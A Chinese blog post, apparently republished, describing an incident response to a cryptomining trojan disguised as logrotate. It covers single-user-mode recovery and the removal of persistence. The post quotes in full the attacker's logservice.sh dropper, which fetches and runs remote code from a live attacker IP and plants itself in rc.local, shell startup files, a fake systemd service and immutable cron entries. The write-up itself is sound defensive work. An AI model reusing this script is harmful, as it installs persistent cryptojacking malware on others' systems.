二次记录服务器被(logrotate)木马入侵事件

news2024/11/17 11:40:32

现象:SSH失败、CPU满转

服务器ssh登录不上,一直处于登录中状态。

image.png

于是进入云服务器控制台,CPU打满状态,知道服务器被攻击了

image.png

腾讯云入侵检测,高危命令报警

image.png

排查过程

尝试 VNC 登录

由于SSH登录不上,进入云服务器控制台,尝试VNC登录,很遗憾也是进不去服务器,一直处于login登录中状态

image.png

单用户模式重启

重启服务器,在VNC控制台看到服务器无法重启一直锁死

 

sql

代码解读

复制代码

A start job is running for /etc/rc.d/local Compatibility

image.png

尝试单用户模式重启

参考 blog.csdn.net/qq_36025814…

什么是单用户模式呢?

单用户模式救援模式主要用于系统出现错误配置不能正常启动的时候,可以使用这两种模式来更改错误配置。还有就是当忘记root密码时就只有用这两种方式来强制更改密码。

使在此模式下和正常启动的系统差别不大以root身份运行,拥有最高权限可以对所有文件读写,只是不需要输入root密码,所以就可以实现强制更改密码。主要用在配置错误导致系统启动不了,或者root命令忘记时。注意这个模式下是没有网络连接的。

上面看到重启锁死,这个 /etc/rc.d/rc.local 文件是开机自启动shell脚本,通常会加上一些需要开启自启动的脚本,我们进入单用户模式来修改这个文件,看里面被篡改了什么

进入 VNC,发送 Ctrl+Alt+Delete 命令 重启服务器

image.png

按e进入启动内核

点击 确定,系统开机中,然后立即点击 e(多次点击启动内核)

image.png

修改初始化命令

进入后按到最后 增加 init=/bin/sh , 而且把原来 ro 或者 r\o 修改为 rw ,设置为文件可修改,否则提示只读,斜杠只是换行符不用管

image.png

启动进入单用户模式

按住 Ctrl + x ,即可进入单用户模式,对系统内文件进行操作。

在这里插入图片描述

修改 rc.local 文件

看到被病毒修改增加了脚本 logservice.sh,删除掉这句脚本

image.png

重启成功

修改完成后,执行 exec /sbin/init 退出单用户模式,启动成功。

重装SSH

此时发现ssh登录还是失败,通过VNC登录登录很久,十几二十分钟才进入到服务器。抓住机会。

为了能ssh登录,此时卸载ssh并重装

 

bash

代码解读

复制代码

# 可以通过这条命令查看卸载前后的openssh相关服务安装情况

rpm -qa openssh*

# 卸载 yum remove openssh*

# 安装 yum install -y openssh-server

# 启动服务 systemctl start sshd systemctl enable sshd

排查病毒

参考 blog.csdn.net/qq32933432/…

下载 logservice.sh 脚本分析

通过报警找到logservice.sh脚本地址 http://185.196.8.123/logservice.sh

js

代码解读

复制代码

#!/bin/sh { pkill -f xmrig || kill -9 $(pgrep -f 'xmrig'); } >/dev/null 2>&1 ps -eo pid,%cpu,comm --sort=-%cpu | awk 'NR>1 && !/awk|ps/ && !($3 ~ /^(logrotate|sshd|java)$/) && int($2) > 60 { system("kill -9 " $1) }' EXEC="source <(wget -q -O - http://185.196.8.123/logservice.sh || curl -sL http://185.196.8.123/logservice.sh)" trap 'rm -- "$0"' EXIT if [ -z "${HOME+x}" ]; then export HOME=/tmp fi mkdir -p "$HOME/.config" >/dev/null 2>&1 [ ! -f "$HOME/.config/logrotate" ] && { ARCH=$(uname -m) URL="" [ "$ARCH" = "x86_64" ] && URL="http://185.196.8.123/silicon64blueprints.png" [ "$ARCH" = "aarch64" ] && URL="http://185.196.8.123/siliconarmblueprints.png" [ -z "$URL" ] && URL="http://185.196.8.123/silicon64blueprints.png" { wget -q -O "$HOME/.config/logrotate" "$URL" || curl -sL -o "$HOME/.config/logrotate" "$URL"; } >/dev/null 2>&1 chmod +x "$HOME/.config/logrotate" >/dev/null 2>&1 } pgrep -f "config/logrotate" >/dev/null 2>&1 || "$HOME/.config/logrotate" add_to_startup() { if [ -r "$1" ]; then if ! grep -Fxq "$EXEC >/dev/null 2>&1" "$1"; then echo "$EXEC >/dev/null 2>&1" >> "$1" fi fi } case "$(ps -p $$ -o comm=)" in bash) add_to_startup "$HOME/.bashrc" add_to_startup "$HOME/.bash_logout" ;; zsh) add_to_startup "$HOME/.zshrc" ;; esac [ "$(id -u)" -eq 0 ] && { RCLOCAL='' [ -e /etc/debian_version ] && RCLOCAL='/etc/rc.local' [ -e /etc/centos-release -o -e /etc/redhat-release ] && RCLOCAL='/etc/rc.d/rc.local' [ -n "$RCLOCAL" ] && add_to_startup "$RCLOCAL" cat >/etc/systemd/system/logrotate.service <<EOL [Unit] Description=The logrotate utility is designed to simplify the administration of log files on a system which generates a lot of log files [Service] ExecStart=$HOME/.config/logrotate Restart=always Nice=-20 StandardOutput=null [Install] WantedBy=multi-user.target EOL sudo systemctl daemon-reload 2>/dev/null sudo systemctl enable logrotate.service 2>/dev/null [ -d /var/spool/cron ] && [ -f /var/spool/cron/root ] && echo "@daily $EXEC" >> /var/spool/cron/root 2>/dev/null [ -d /var/spool/cron/crontabs ] && [ -f /var/spool/cron/crontabs/root ] && echo "@daily $EXEC" >> /var/spool/cron/crontabs/root 2>/dev/null [ -f /etc/crontab ] && echo "@daily $EXEC" >> /etc/crontab 2>/dev/null && sudo chattr +i /etc/crontab 2>/dev/null [ -d /etc/cron.hourly ] && echo "$EXEC" >> /etc/cron.hourly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.hourly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.hourly/logrotate 2>/dev/null [ -d /etc/cron.daily ] && echo "$EXEC" >> /etc/cron.daily/logrotate 2>/dev/null && sudo chmod +x /etc/cron.daily/logrotate 2>/dev/null && sudo chattr +i /etc/cron.daily/logrotate 2>/dev/null [ -d /etc/cron.weekly ] && echo "$EXEC" >> /etc/cron.weekly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.weekly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.weekly/logrotate 2>/dev/null [ -d /etc/cron.monthly ] && echo "$EXEC" >> /etc/cron.monthly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.monthly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.monthly/logrotate 2>/dev/null [ -d /etc/cron.yearly ] && echo "$EXEC" >> /etc/cron.yearly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.yearly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.yearly/logrotate 2>/dev/null }

这段脚本的大概解释

- 终止之前的xmrig实例:

尝试使用pkill或kill命令终止任何正在运行的名为“xmrig”的程序,并将任何错误或输出重定向到/dev/null(有效地将它们静音)。

- 终止高CPU使用率的进程:

通过结合使用ps、awk和kill来找出并终止未明确排除且消耗超过60% CPU的任何进程。

- 下载并执行远程脚本:

设置一个变量EXEC,用于获取并执行一个远程服务器(185.196.8.123:8080)上的脚本(logservice.sh)。

- 设置环境:

确保设置了HOME环境变量,如果未设置,默认为/tmp,并在HOME下准备一个.config目录。

- 根据架构下载并执行二进制文件:

检查系统架构并从同一远程服务器下载特定文件(假定为二进制文件),将其作为logrotate保存在.config目录中,然后使其可执行。

- 持久性机制:

将远程脚本执行添加到Bash和Zsh shell的启动文件中,以便每次启动shell会话时都会执行它。 还试图将此脚本插入各种系统级cron目录和systemd服务中,以确保它持续运行或定期检查,这有效地使其更难以移除,并确保它定期运行。

  • Cron和Systemd操纵:

设置了一个名为logrotate.service的systemd服务来运行下载的二进制文件,并尝试将执行命令添加到不同频率的各种cron目录(每小时、每天、每周、每月、每年)中,并使用chattr +i命令使这些脚本变为不可更改。

也就是说这段脚本会采用定时任务和开机启动项等方式,去远程下载一些文件,并把他们伪造成正常的logrotate服务来运行

查杀

知道了脚本的运作机制,就好解决了

删除病毒文件

使用ps -ef|grep logrotate可以看到这个病毒的目录,去把对应的文件删掉

image.png

先把他kill掉

 

bash

代码解读

复制代码

kill -9 16006

然后删除文件

 

bash

代码解读

复制代码

rm -rf /root/.config/logrotate

删除logrotate服务

使用top命令,找到名称为logrotate的服务,这个占用了大量CPU,把服务结束掉kill -9 id,有可能在删除了病毒文件之后top这里就看不到这个进程了

 

bash

代码解读

复制代码

# 先使用这个命令查看是否有服务

systemctl list-unit-files |grep logrotate.service

# 然后清除服务

systemctl disable logrotate.service

# 找到服务文件所在位置

find / -name logrotate.service

# 删除服务文件 rm -rf 上一句文件位置

清除定时任务

使用crontab -l会列出所有当前用户的定时任务,使用crontab -e把相关任务删掉保存,需要注意的是如果定时任务不在root用户则使用此命令看不到

打开文件 /etc/crontab , 编辑里面移除病毒相关的脚步命令,保存后执行 crontab /etc/crontab 生效

清除系统级别定时任务
 

bash

代码解读

复制代码

# 然后执行解锁命令,如果上面的ia就是-ai 如果是只用一个i就是-i

chattr -ai /etc/cron.hourly/logrotate;

chattr -ai /etc/cron.daily/logrotate;

chattr -ai /etc/cron.weekly/logrotate;

chattr -ai /etc/cron.monthly/logrotate;

chattr -ai /etc/cron.yearly/logrotate;

# 删除

rm -rf /etc/cron.hourly/logrotate;

rm -rf /etc/cron.daily/logrotate;

rm -rf /etc/cron.weekly/logrotate;

rm -rf /etc/cron.monthly/logrotate;

rm -rf /etc/cron.yearly/logrotate;

清除开机启动项

image.png

先查看 $HOME 是哪个目录

image.png

编辑这些文件,把异常信息删掉

image.png

修改云服务器安全组

只对一些ip和端口开放

到此,所有的清除工作就结束了,修改下密码,重启服务器应该就可以了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2176504.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

WPS使用越来越卡顿

UOS统信wps频繁的使用后出现卡顿问题&#xff0c;通过删除或重命名kingsoft文件缓存目录。 文章目录 一、问题描述二、问题原因三、解决方案步骤一步骤二步骤三 一、问题描述 用户在频繁的使用wps处理工作&#xff0c;在使用一段时间后&#xff0c;用户反馈wps打开速度慢&…

繁体字能申请注册商标吗?

有些主体为了表现企业历史和文化&#xff0c;喜欢用繁体字申请注册商标&#xff0c;那繁体字可以能申请注册商标吗&#xff0c;当然是可以的&#xff0c;普推知产老杨检索在1990年《国家工商行政管理局商标局关于商标可否使用繁体字问题的答复》&#xff0c;可以使用繁体字&…

【经验技巧】如何做好S参数的仿测一致性

根据个人经验,想要做好电路板S参数的仿测一致性,如下的相关信息必须被认真对待: 1. PCB叠构(Stack up),仿真模型需要保证设计参数与板厂供应商的生产参数完全一样,这些参数包括: 叠层结构数据;介电常数;损耗因子;蚀刻因子;表面粗糙度。 2. 仿真中,需要保证信号测试…

基于TRIZ理论的创新设计流程是怎样的?

TRIZ&#xff08;TheoryofInventiveProblemSolving&#xff09;&#xff0c;即发明问题解决理论&#xff0c;是一套基于知识的、面向设计者的系统化创新方法学。Altshuller通过对数百万份专利文献的研究&#xff0c;发现了技术问题解决过程中的普遍模式和规律&#xff0c;从而建…

World of Warcraft [CLASSIC][80][Alonsus][Dark Iron Legacy]

World of Warcraft [CLASSIC][80][Alonsus][Dark Iron Legacy] [任务][黑铁的遗产] [黑石深渊][路线图][手把手][小白教程] Dark Iron Legacy - Quest - 魔兽世界怀旧服CTM4.34《大地的裂变》数据库_大灾变85级魔兽数据库_ctm数据库 副本门口进来 直走 直走 直走 第一个路口左…

tee命令:轻松同步输出到屏幕与文件

一、命令简介 ​tee​ 命令在 Linux 和 Unix 系统中用于读取标准输入的数据&#xff0c;并将其同时输出到标准输出和文件中。简单来说&#xff0c;tee​ 命令可以用来分割数据流&#xff0c;使其既能够被输出到屏幕&#xff0c;也能够被写入到文件中。 ​​ ‍ 二、命令参数…

基于Java的停车场管理微信小程序 停车场预约系统【源码+文档+讲解】

精彩专栏推荐订阅&#xff1a;在下方主页&#x1f447;&#x1f3fb;&#x1f447;&#x1f3fb;&#x1f447;&#x1f3fb;&#x1f447;&#x1f3fb; &#x1f496;&#x1f525;作者主页&#xff1a;计算机毕设木哥&#x1f525; &#x1f496; 文章目录 一、停车场管理微…

电子相册|智能化电子相册|基于java的电子相册管理系统设计与实现(源码+数据库+文档)

电子相册管理系统 目录 基于java的电子相册管理系统设计与实现 一、前言 二、系统功能设计 三、系统实现 四、数据库设计 1、实体ER图 五、核心代码 六、论文参考 七、最新计算机毕设选题推荐 八、源码获取&#xff1a; 博主介绍&#xff1a;✌️大厂码农|毕设布道师&…

.NetCore 8 SwaggerGen 显示接口注析

先看一下效果 从图上看到了没 Swagger 那里显示出了 代码里的注析。 要在Swagger 外面显示出代码里的注析也不难 1.先在项目里 属性-》生成-》输出-》然后 把“生成包含API文档的文件” 打上勾。如图最后 在Program.cs 里把 addSwagger 那一块改成 builder.Services.AddSw…

企业间图文档发放:如何在保障安全的同时提升效率?

不管是大型企业&#xff0c;还是小型创业公司&#xff0c;不论企业规模大小&#xff0c;每天都会有大量的图文档发放&#xff0c;对内传输协作和对外发送使用&#xff0c;数据的生产也是企业业务生产力的体现之一。 伴随着业务范围的不断扩大&#xff0c;企业与客户、合作伙伴之…

PMP--三模--解题--41-50

文章目录 14.敏捷--十二大原则--第1条--我们的最高目标是&#xff0c;通过尽早持续交付有价值的软件来满足客户的需求。--价值交付是敏捷原则的第一条。题目要“尽早交付”&#xff0c;不就是选C&#xff0c;快速交付吗&#xff0c;还是重点在于“跨职能团队”&#xff0c;选敏…

Element-Ui实现动态必填表单项操作

实现表单项动态必填功能&#xff0c;目前看到方法有两种&#xff1a; 1、在必填的 el-form-item 写两个一样的&#xff0c;一个有 rules 一个没&#xff0c;然后用 v-if 去动态判断&#xff1b; 2、现在要说的是方法2&#xff0c;大部分网上看的都是用方法一的方式&#xff0…

乡村振兴展厅|如何展现农业魅力,赋能乡村振兴

乡村振兴展厅&#xff0c;作为展示农业新貌、传承农耕文化、推广现代农业科技、激发乡村活力的重要窗口&#xff0c;其设计与内容构建需深刻体现农业的魅力&#xff0c;同时有效赋能乡村振兴战略。以下是从几个关键维度探讨如何打造这样一个充满吸引力且富有成效的展厅。 一、…

Arthas sm(查看已加载类的方法信息 )

文章目录 二、命令列表2.2 class/classloader相关命令2.2.6 sm&#xff08;查看已加载类的方法信息 &#xff09;举例1&#xff1a;显示类加载的方法举例2&#xff1a;显示类加载的executeTask方法详细信息 二、命令列表 2.2 class/classloader相关命令 2.2.6 sm&#xff08;…

MySQL - 进阶篇

一、存储引擎 1. MySQL体系结构 2. 存储引擎简介 3. 存储引擎特点 4. 存储引擎选择 二、索引 1. 索引概述 2. 索引结构 3. 索引分类 4. 索引语法 5. SQL性能分析 6. 索引使用 7. 索引设计原则 三、SQL优化 1. 插入数据 2. 主键优化 3. order by优化 4. group by优化 5. limi…

数据结构:串 及串的模式匹配(KMP)

串的定义 串&#xff08;String&#xff09;是由零个或多个字符组成的有限序列&#xff0c;又名叫字符串。在计算机科学中&#xff0c;串是一种重要的数据结构&#xff0c;用于表示文本数据。串中的元素称为字符&#xff0c;字符可以是字母、数字或其他符号&#xff0c;这些字…

【LeetCode: 227. 基本计算器 II + 栈】

&#x1f680; 算法题 &#x1f680; &#x1f332; 算法刷题专栏 | 面试必备算法 | 面试高频算法 &#x1f340; &#x1f332; 越难的东西,越要努力坚持&#xff0c;因为它具有很高的价值&#xff0c;算法就是这样✨ &#x1f332; 作者简介&#xff1a;硕风和炜&#xff0c;…

C++ | Leetcode C++题解之第445题两数相加II

题目&#xff1a; 题解&#xff1a; class Solution { public:ListNode* addTwoNumbers(ListNode* l1, ListNode* l2) {stack<int> s1, s2;while (l1) {s1.push(l1 -> val);l1 l1 -> next;}while (l2) {s2.push(l2 -> val);l2 l2 -> next;}int carry 0;L…

STM32-HAL库驱动DHT11温湿度传感器 --2024.9.28

目录 一、教程简介 二、驱动原理讲解 &#xff08;一&#xff09;通信4步骤 &#xff08;二&#xff09;传感器数据解析 三、CubeMX生成底层代码 &#xff08;一&#xff09;基础配置 &#xff08;二&#xff09;配置DHT11的驱动引脚 &#xff08;三&#xff09;配置串口 四…

基于webComponents的纯原生前端框架

我本人的个人开发web前端前框架xui&#xff0c;正在开发中&#xff0c;业已完成50%的核心开发工作&#xff0c;并且在开发过程中逐渐完善. 目前框架未采用任何和市面上框架模式&#xff0c;没有打包过程&#xff0c;实现真实的开箱即用。 当然在开发过程中也会发现没有打包工…